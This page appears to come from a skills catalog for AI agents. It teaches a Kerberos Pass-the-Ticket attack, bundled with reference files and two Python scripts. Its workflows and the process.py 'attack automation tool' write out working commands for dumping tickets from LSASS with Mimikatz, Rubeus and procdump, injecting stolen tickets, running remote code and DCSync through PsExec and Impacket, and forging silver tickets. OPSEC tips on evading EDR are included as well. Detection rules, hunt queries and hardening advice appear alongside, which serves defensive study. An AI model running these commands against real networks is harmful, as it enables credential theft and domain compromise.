red teaming

Conducting Pass-the-Ticket Attack

Pass-the-Ticket (PtT) is a lateral movement technique that uses stolen Kerberos tickets (TGT or TGS) to authenticate to services without knowing the user's password. By extracting Kerberos tickets from memory (LSASS) on a compromised host, an attacker can inject those tickets into their own session to impersonate the ticket owner and access resources as that user.

adversary-simulationexploitationkerberoslateral-movementmitre-attackpass-the-ticketpost-exploitationred-team
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

Pass-the-Ticket (PtT) is a lateral movement technique that uses stolen Kerberos tickets (TGT or TGS) to authenticate to services without knowing the user's password. By extracting Kerberos tickets from memory (LSASS) on a compromised host, an attacker can inject those tickets into their own session to impersonate the ticket owner and access resources as that user.

When to Use

  • When conducting security assessments that involve conducting pass the ticket attack
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

MITRE ATT&CK Mapping

  • T1550.003 - Use Alternate Authentication Material: Pass the Ticket
  • T1003.001 - OS Credential Dumping: LSASS Memory
  • T1558 - Steal or Forge Kerberos Tickets
  • T1021.002 - Remote Services: SMB/Windows Admin Shares

Workflow

Phase 1: Ticket Extraction

  1. Gain local admin access on target workstation
  2. Dump Kerberos tickets from LSASS memory using Mimikatz or Rubeus
  3. Export tickets in .kirbi format (Mimikatz) or base64 (Rubeus)
  4. Identify high-value tickets (Domain Admin TGTs, service tickets to critical systems)

Phase 2: Ticket Injection

  1. Purge existing Kerberos tickets from attacker session
  2. Import/inject stolen ticket into current session
  3. Verify ticket is loaded and valid
  4. Access target resources using injected ticket

Phase 3: Lateral Movement

  1. Access remote systems using the stolen ticket identity
  2. Perform actions as the impersonated user
  3. Collect additional credentials from accessed systems
  4. Document evidence of successful lateral movement

Tools and Resources

Tool Purpose Command
Mimikatz Ticket export/import sekurlsa::tickets /export, kerberos::ptt
Rubeus Ticket dumping and injection dump, ptt, tgtdeleg
Impacket ticketConverter Convert between formats ticketConverter.py ticket.kirbi ticket.ccache
Impacket psexec/smbexec Remote execution with ticket KRB5CCNAME=ticket.ccache psexec.py

Detection Indicators

  • Event ID 4768 with unusual client addresses
  • Event ID 4769 service ticket requests from unexpected hosts
  • TGT usage from different IP than the TGT was issued to
  • Multiple authentications from same ticket across different workstations

Validation Criteria

  • Kerberos tickets extracted from compromised host
  • Tickets injected into attacker session
  • Lateral movement demonstrated using stolen tickets
  • Evidence captured for reporting
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.6 KB

Pass-the-Ticket Detection — API Reference

Libraries

Library Install Purpose
impacket pip install impacket Kerberos ticket manipulation (ticketer.py, getST.py)
ldap3 pip install ldap3 AD LDAP queries for SPN and account enumeration
pySigma pip install pySigma Sigma rule parsing and conversion

Key Windows Event IDs

Event ID Description Relevance
4768 Kerberos TGT request Golden ticket detection (RC4 = 0x17)
4769 Kerberos service ticket request Silver ticket / Kerberoasting
4770 Kerberos service ticket renewed Ticket reuse indicator
4771 Kerberos pre-auth failed Password spray detection
4624 Successful logon Correlate with ticket usage

Encryption Type Constants

Value Algorithm Concern
0x17 RC4-HMAC Downgrade attack indicator
0x12 AES-256 Expected modern encryption
0x11 AES-128 Acceptable encryption

MITRE ATT&CK Mapping

Technique ID
Use Alternate Authentication Material: Pass the Ticket T1550.003
Steal or Forge Kerberos Tickets: Golden Ticket T1558.001
Steal or Forge Kerberos Tickets: Silver Ticket T1558.002

External References

standards.md1.4 KB

Standards and Framework References

MITRE ATT&CK

Technique ID Name Tactic
T1550.003 Use Alternate Authentication Material: Pass the Ticket Lateral Movement
T1003.001 OS Credential Dumping: LSASS Memory Credential Access
T1558 Steal or Forge Kerberos Tickets Credential Access
T1021.002 Remote Services: SMB/Windows Admin Shares Lateral Movement

Kerberos Ticket Types

Ticket Purpose Lifetime Encryption
TGT (Ticket Granting Ticket) Authenticates to KDC for TGS requests 10 hours default krbtgt NTLM hash
TGS (Ticket Granting Service) Authenticates to specific service 10 hours default Service account hash

Detection - Windows Event IDs

Event ID Description PtT Indicator
4768 TGT Request Unusual source IP for known user
4769 TGS Request Service access from unexpected host
4770 TGT Renewal Renewal from different IP than original
4771 Kerberos Pre-Auth Failed May indicate ticket reuse attempts

NIST SP 800-171

  • 3.5.1: Identify system users, processes acting on behalf of users
  • 3.5.2: Authenticate identities before allowing access
  • 3.1.1: Limit system access to authorized users

CIS Controls

  • Control 6: Access Control Management
  • Control 8: Audit Log Management - Monitor Kerberos authentication events
workflows.md3.0 KB

Pass-the-Ticket Attack Workflows

Workflow 1: Mimikatz Ticket Extraction and Injection

Step 1: Export Tickets from LSASS

# Dump all Kerberos tickets from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
 
# List exported .kirbi files
dir *.kirbi
 
# Identify high-value tickets (Domain Admin TGTs)
# Look for: [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi

Step 2: Inject Ticket into Session

# Purge existing tickets
mimikatz.exe "kerberos::purge" "exit"
 
# Or with klist
klist purge
 
# Import stolen ticket
mimikatz.exe "kerberos::ptt [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi" "exit"
 
# Verify ticket is loaded
klist

Step 3: Access Resources

# Access file shares as impersonated user
dir \\dc01.domain.local\c$
 
# Execute commands remotely
PsExec.exe \\dc01.domain.local cmd.exe
 
# Access admin shares
copy payload.exe \\dc01.domain.local\c$\windows\temp\

Workflow 2: Rubeus Ticket Operations

Dump and Inject

# Dump all tickets (requires local admin)
.\Rubeus.exe dump
 
# Dump tickets for specific LUID
.\Rubeus.exe dump /luid:0x3e4
 
# Extract TGT for current user (no admin required)
.\Rubeus.exe tgtdeleg
 
# Inject ticket from base64
.\Rubeus.exe ptt /ticket:doIFmjCC...base64ticket...
 
# Create sacrificial process with ticket
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /ptt /ticket:base64ticket

Workflow 3: Linux-Based Pass-the-Ticket (Impacket)

Convert and Use Tickets

# Convert .kirbi to .ccache
impacket-ticketConverter ticket.kirbi ticket.ccache
 
# Set environment variable for ticket
export KRB5CCNAME=ticket.ccache
 
# Use with Impacket tools
impacket-psexec -k -no-pass domain.local/administrator@dc01.domain.local
impacket-smbexec -k -no-pass domain.local/administrator@dc01.domain.local
impacket-wmiexec -k -no-pass domain.local/administrator@dc01.domain.local
impacket-secretsdump -k -no-pass domain.local/administrator@dc01.domain.local
 
# List accessible shares
impacket-smbclient -k -no-pass domain.local/administrator@dc01.domain.local

Workflow 4: Silver Ticket (Forged TGS)

# Create silver ticket with Mimikatz (requires service account NTLM hash)
mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:NTLM_HASH /ptt" "exit"
 
# Create silver ticket with Rubeus
.\Rubeus.exe silver /service:cifs/server.domain.local /rc4:NTLM_HASH /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /ptt

OPSEC Considerations

  1. Stolen tickets have limited lifetime (default 10 hours for TGT)
  2. TGT reuse from different IP may trigger advanced detection
  3. Silver tickets bypass the KDC entirely - harder to detect
  4. Use createnetonly in Rubeus to avoid overwriting legitimate tickets
  5. Monitor for credential guard which protects Kerberos tickets
  6. Be aware that some EDR solutions monitor ticket injection

Scripts 2

agent.py5.5 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Pass-the-Ticket attack detection agent using Windows event log analysis."""

import json
import argparse
from datetime import datetime


def detect_ptt_events(log_file):
    """Analyze Windows Security logs for Pass-the-Ticket indicators."""
    detections = []
    try:
        with open(log_file, "r") as f:
            events = json.load(f)
    except (FileNotFoundError, json.JSONDecodeError) as e:
        return [{"error": str(e)}]

    for event in events:
        eid = str(event.get("EventID", ""))
        if eid == "4768":
            if event.get("TicketEncryptionType") == "0x17":
                detections.append({
                    "event_id": eid,
                    "type": "TGT_request_rc4",
                    "account": event.get("TargetUserName", ""),
                    "source_ip": event.get("IpAddress", ""),
                    "severity": "HIGH",
                    "note": "RC4 TGT request may indicate golden ticket",
                })
        elif eid == "4769":
            if event.get("TicketEncryptionType") == "0x17":
                detections.append({
                    "event_id": eid,
                    "type": "service_ticket_rc4",
                    "account": event.get("TargetUserName", ""),
                    "service": event.get("ServiceName", ""),
                    "severity": "MEDIUM",
                    "note": "RC4 service ticket — potential Kerberoasting or PTT",
                })
        elif eid == "4624":
            if event.get("LogonType") == "3" and event.get("AuthenticationPackageName") == "Kerberos":
                source = event.get("IpAddress", "")
                detections.append({
                    "event_id": eid,
                    "type": "network_logon_kerberos",
                    "account": event.get("TargetUserName", ""),
                    "source_ip": source,
                    "severity": "INFO",
                    "note": "Kerberos network logon — correlate with TGT anomalies",
                })
    return detections


def generate_sigma_rules():
    """Generate Sigma detection rules for Pass-the-Ticket."""
    rules = [
        {
            "title": "Pass-the-Ticket via RC4 Encryption Downgrade",
            "logsource": {"product": "windows", "service": "security"},
            "detection": {
                "selection": {"EventID": [4768, 4769], "TicketEncryptionType": "0x17"},
                "condition": "selection",
            },
            "level": "high",
            "tags": ["attack.lateral_movement", "attack.t1550.003"],
        },
        {
            "title": "Anomalous Kerberos TGT Request from Non-Domain Controller",
            "logsource": {"product": "windows", "service": "security"},
            "detection": {
                "selection": {"EventID": 4768},
                "filter": {"IpAddress|startswith": ["::1", "127."]},
                "condition": "selection and not filter",
            },
            "level": "medium",
            "tags": ["attack.credential_access", "attack.t1558"],
        },
    ]
    return rules


def generate_hunt_queries():
    """Generate threat hunting queries for PTT detection."""
    return {
        "splunk": [
            'index=wineventlog EventCode=4768 TicketEncryptionType=0x17 | stats count by Account_Name, src_ip',
            'index=wineventlog EventCode=4769 ServiceName!="krbtgt" TicketEncryptionType=0x17 | table _time Account_Name ServiceName',
        ],
        "kql": [
            'SecurityEvent | where EventID == 4768 | where TicketEncryptionType == "0x17" | summarize count() by TargetAccount, IpAddress',
            'SecurityEvent | where EventID == 4769 | where TicketEncryptionType == "0x17" | project TimeGenerated, TargetAccount, ServiceName',
        ],
    }


def run_detection(log_file=None):
    """Execute Pass-the-Ticket detection analysis."""
    print(f"\n{'='*60}")
    print(f"  PASS-THE-TICKET DETECTION ANALYSIS")
    print(f"  Generated: {datetime.utcnow().isoformat()} UTC")
    print(f"{'='*60}\n")

    if log_file:
        events = detect_ptt_events(log_file)
        print(f"--- EVENT ANALYSIS ({len(events)} detections) ---")
        for e in events[:15]:
            if "error" not in e:
                print(f"  [{e['severity']}] {e['type']}: {e.get('account', 'N/A')} from {e.get('source_ip', 'N/A')}")

    rules = generate_sigma_rules()
    print(f"\n--- SIGMA RULES ({len(rules)}) ---")
    for r in rules:
        print(f"  [{r['level'].upper()}] {r['title']}")

    queries = generate_hunt_queries()
    print(f"\n--- HUNT QUERIES ---")
    for platform, qlist in queries.items():
        print(f"  {platform.upper()}:")
        for q in qlist:
            print(f"    {q[:80]}...")

    return {"detections": events if log_file else [], "sigma_rules": rules, "hunt_queries": queries}


def main():
    parser = argparse.ArgumentParser(description="Pass-the-Ticket Detection Agent")
    parser.add_argument("--log-file", help="Windows event log JSON export")
    parser.add_argument("--output", help="Save report to JSON file")
    args = parser.parse_args()

    report = run_detection(args.log_file)
    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2, default=str)
        print(f"\n[+] Report saved to {args.output}")


if __name__ == "__main__":
    main()
process.py11.4 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Pass-the-Ticket Attack Automation Tool

Automates PtT workflow including:
- Ticket extraction command generation
- Ticket format conversion
- Lateral movement command generation
- Attack documentation and reporting

Usage:
    python process.py --mode extract --target workstation01
    python process.py --mode convert --input ticket.kirbi --output ticket.ccache
    python process.py --mode lateral --ticket ticket.ccache --target dc01.domain.local
    python process.py --mode report --output ptt_report.md

Requirements:
    pip install rich impacket
"""

import argparse
import base64
import json
import struct
import sys
from datetime import datetime
from pathlib import Path
from typing import Any

try:
    from rich.console import Console
    from rich.table import Table
    from rich.panel import Panel
except ImportError:
    print("[!] Missing dependencies. Install with: pip install rich")
    sys.exit(1)

console = Console()


def generate_extraction_commands(target: str, method: str = "all") -> dict:
    """Generate commands for ticket extraction."""
    commands = {
        "mimikatz": {
            "description": "Extract tickets using Mimikatz",
            "commands": [
                "privilege::debug",
                "sekurlsa::tickets /export",
                f"# Tickets exported to current directory as .kirbi files",
                "# Look for TGT tickets: *krbtgt*.kirbi",
                "# Look for high-value TGS: *cifs*dc*.kirbi, *ldap*dc*.kirbi",
            ],
        },
        "rubeus": {
            "description": "Extract tickets using Rubeus",
            "commands": [
                ".\\Rubeus.exe dump",
                "# For specific LUID:",
                ".\\Rubeus.exe dump /luid:0x3e4",
                "# TGT delegation trick (no admin required):",
                ".\\Rubeus.exe tgtdeleg",
                "# Monitor for new logons:",
                ".\\Rubeus.exe monitor /interval:5 /filteruser:administrator",
            ],
        },
        "procdump": {
            "description": "Dump LSASS for offline extraction",
            "commands": [
                f"procdump.exe -ma lsass.exe lsass.dmp",
                "# Then offline with Mimikatz:",
                "sekurlsa::minidump lsass.dmp",
                "sekurlsa::tickets /export",
            ],
        },
    }

    if method != "all":
        return {method: commands.get(method, {})}
    return commands


def generate_injection_commands(ticket_path: str, ticket_format: str = "kirbi") -> dict:
    """Generate commands for ticket injection."""
    commands = {
        "windows_mimikatz": [
            "# Purge existing tickets",
            "kerberos::purge",
            f"# Inject ticket",
            f"kerberos::ptt {ticket_path}",
            "# Verify",
            "kerberos::list",
        ],
        "windows_rubeus": [
            f"# Inject from file",
            f".\\Rubeus.exe ptt /ticket:{ticket_path}",
            "# Create process with ticket (safer - doesn't modify current session)",
            f".\\Rubeus.exe createnetonly /program:C:\\Windows\\System32\\cmd.exe /ptt /ticket:{ticket_path}",
        ],
        "linux_impacket": [
            f"# Convert if needed (kirbi to ccache)",
            f"impacket-ticketConverter {ticket_path} ticket.ccache",
            "# Set environment variable",
            "export KRB5CCNAME=ticket.ccache",
            "# Verify ticket",
            "klist",
        ],
    }
    return commands


def generate_lateral_movement_commands(target: str, domain: str, username: str = "administrator") -> dict:
    """Generate lateral movement commands using injected ticket."""
    commands = {
        "windows": [
            f"# Access file share",
            f"dir \\\\{target}\\c$",
            f"# Remote command execution via PsExec",
            f"PsExec.exe \\\\{target} cmd.exe",
            f"# WMI remote execution",
            f'wmic /node:"{target}" process call create "cmd.exe /c whoami > c:\\temp\\whoami.txt"',
            f"# PowerShell remoting",
            f"Enter-PSSession -ComputerName {target}",
        ],
        "linux_impacket": [
            f"# PsExec with Kerberos ticket",
            f"impacket-psexec -k -no-pass {domain}/{username}@{target}",
            f"# SMBExec",
            f"impacket-smbexec -k -no-pass {domain}/{username}@{target}",
            f"# WMIExec",
            f"impacket-wmiexec -k -no-pass {domain}/{username}@{target}",
            f"# SecretsDump (DCSync if targeting DC)",
            f"impacket-secretsdump -k -no-pass {domain}/{username}@{target}",
            f"# SMB client for file access",
            f"impacket-smbclient -k -no-pass {domain}/{username}@{target}",
        ],
    }
    return commands


def analyze_kirbi_ticket(ticket_path: str) -> dict | None:
    """Parse basic information from a .kirbi ticket file."""
    try:
        with open(ticket_path, "rb") as f:
            data = f.read()

        info = {
            "file": ticket_path,
            "size": len(data),
            "format": "kirbi" if data[:2] in [b'\x76\x82', b'\x61\x82'] else "unknown",
        }

        # Basic ASN.1 parsing - extract visible strings
        strings = []
        i = 0
        while i < len(data):
            if 32 <= data[i] <= 126:
                s = ""
                while i < len(data) and 32 <= data[i] <= 126:
                    s += chr(data[i])
                    i += 1
                if len(s) > 3:
                    strings.append(s)
            i += 1

        info["extracted_strings"] = strings[:20]

        # Try to identify realm and service from extracted strings
        for s in strings:
            if "." in s and s.isupper():
                info["realm"] = s
            if "/" in s:
                info["service"] = s

        return info

    except Exception as e:
        console.print(f"[red][-] Error parsing ticket: {e}[/red]")
        return None


def convert_ticket(input_path: str, output_path: str):
    """Convert between ticket formats (kirbi <-> ccache)."""
    try:
        from impacket.krb5.ccache import CCache
        from impacket.krb5 import constants

        if input_path.endswith(".kirbi") and output_path.endswith(".ccache"):
            ccache = CCache.loadKirbiFile(input_path)
            ccache.saveFile(output_path)
            console.print(f"[green][+] Converted {input_path} -> {output_path}[/green]")
        elif input_path.endswith(".ccache") and output_path.endswith(".kirbi"):
            ccache = CCache.loadFile(input_path)
            # Export each credential as kirbi
            for cred in ccache.credentials:
                kirbi_data = cred.toKirbi()
                with open(output_path, "wb") as f:
                    f.write(kirbi_data)
            console.print(f"[green][+] Converted {input_path} -> {output_path}[/green]")
        else:
            console.print("[red][-] Unsupported conversion. Use .kirbi <-> .ccache[/red]")

    except ImportError:
        console.print("[yellow][!] Impacket not installed. Use manually:[/yellow]")
        console.print(f"[cyan]impacket-ticketConverter {input_path} {output_path}[/cyan]")
    except Exception as e:
        console.print(f"[red][-] Conversion failed: {e}[/red]")


def generate_report(target: str, domain: str, findings: list[dict] | None, output_path: str):
    """Generate Pass-the-Ticket attack report."""
    report = f"""# Pass-the-Ticket Attack Report
## Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}

---

## 1. Executive Summary

Pass-the-Ticket attack was performed against {domain} environment. Kerberos tickets
were extracted from compromised hosts and used for lateral movement to target systems.

## 2. Attack Steps

### 2.1 Ticket Extraction
- **Source Host:** [COMPROMISED HOST]
- **Method:** [Mimikatz/Rubeus/LSASS dump]
- **Tickets Extracted:** [COUNT]
- **High-Value Tickets:** [LIST]

### 2.2 Ticket Injection
- **Target:** {target}
- **Ticket Used:** [TICKET DETAILS]
- **Identity Impersonated:** [USERNAME]

### 2.3 Lateral Movement
- **Access Achieved:** [FILE SHARE/RCE/DCSYNC]
- **Evidence:** [SCREENSHOT REFERENCES]

## 3. MITRE ATT&CK Mapping

| Technique | ID | Status |
|-----------|----|--------|
| Pass the Ticket | T1550.003 | Executed |
| LSASS Memory Dump | T1003.001 | Executed |
| SMB/Admin Shares | T1021.002 | Executed |

## 4. Recommendations

1. Enable Credential Guard to protect Kerberos tickets in memory
2. Implement Protected Users security group for privileged accounts
3. Deploy LSASS protection (RunAsPPL)
4. Monitor Event ID 4769 for anomalous service ticket requests
5. Reduce TGT lifetime for privileged accounts
6. Implement network segmentation to limit lateral movement
7. Deploy advanced EDR with credential theft detection

---

*Report Classification: CONFIDENTIAL*
"""

    out = Path(output_path)
    out.parent.mkdir(parents=True, exist_ok=True)
    with open(out, "w") as f:
        f.write(report)

    console.print(f"[green][+] Report saved to: {output_path}[/green]")


def main():
    parser = argparse.ArgumentParser(description="Pass-the-Ticket Attack Tool")
    parser.add_argument("--mode", required=True,
                        choices=["extract", "inject", "lateral", "convert", "analyze", "report"],
                        help="Operation mode")
    parser.add_argument("--target", help="Target host")
    parser.add_argument("--domain", default="domain.local", help="Domain name")
    parser.add_argument("--username", default="administrator", help="Username to impersonate")
    parser.add_argument("--ticket", help="Path to ticket file")
    parser.add_argument("--input", help="Input file for conversion")
    parser.add_argument("--output", default="./ptt_report.md", help="Output path")
    parser.add_argument("--method", default="all", choices=["all", "mimikatz", "rubeus", "procdump"],
                        help="Extraction method")

    args = parser.parse_args()

    if args.mode == "extract":
        commands = generate_extraction_commands(args.target or "TARGET", args.method)
        for method, details in commands.items():
            console.print(Panel(
                "\n".join(details.get("commands", [])),
                title=f"{method}: {details.get('description', '')}",
            ))

    elif args.mode == "inject":
        if not args.ticket:
            console.print("[red][-] --ticket required[/red]")
            return
        commands = generate_injection_commands(args.ticket)
        for platform, cmds in commands.items():
            console.print(Panel("\n".join(cmds), title=platform))

    elif args.mode == "lateral":
        commands = generate_lateral_movement_commands(
            args.target or "dc01.domain.local",
            args.domain,
            args.username,
        )
        for platform, cmds in commands.items():
            console.print(Panel("\n".join(cmds), title=f"Lateral Movement - {platform}"))

    elif args.mode == "convert":
        if not args.input or not args.output:
            console.print("[red][-] --input and --output required[/red]")
            return
        convert_ticket(args.input, args.output)

    elif args.mode == "analyze":
        if not args.ticket:
            console.print("[red][-] --ticket required[/red]")
            return
        info = analyze_kirbi_ticket(args.ticket)
        if info:
            console.print(Panel(json.dumps(info, indent=2), title="Ticket Analysis"))

    elif args.mode == "report":
        generate_report(args.target or "TARGET", args.domain, None, args.output)


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 0.9 KB
Keep exploring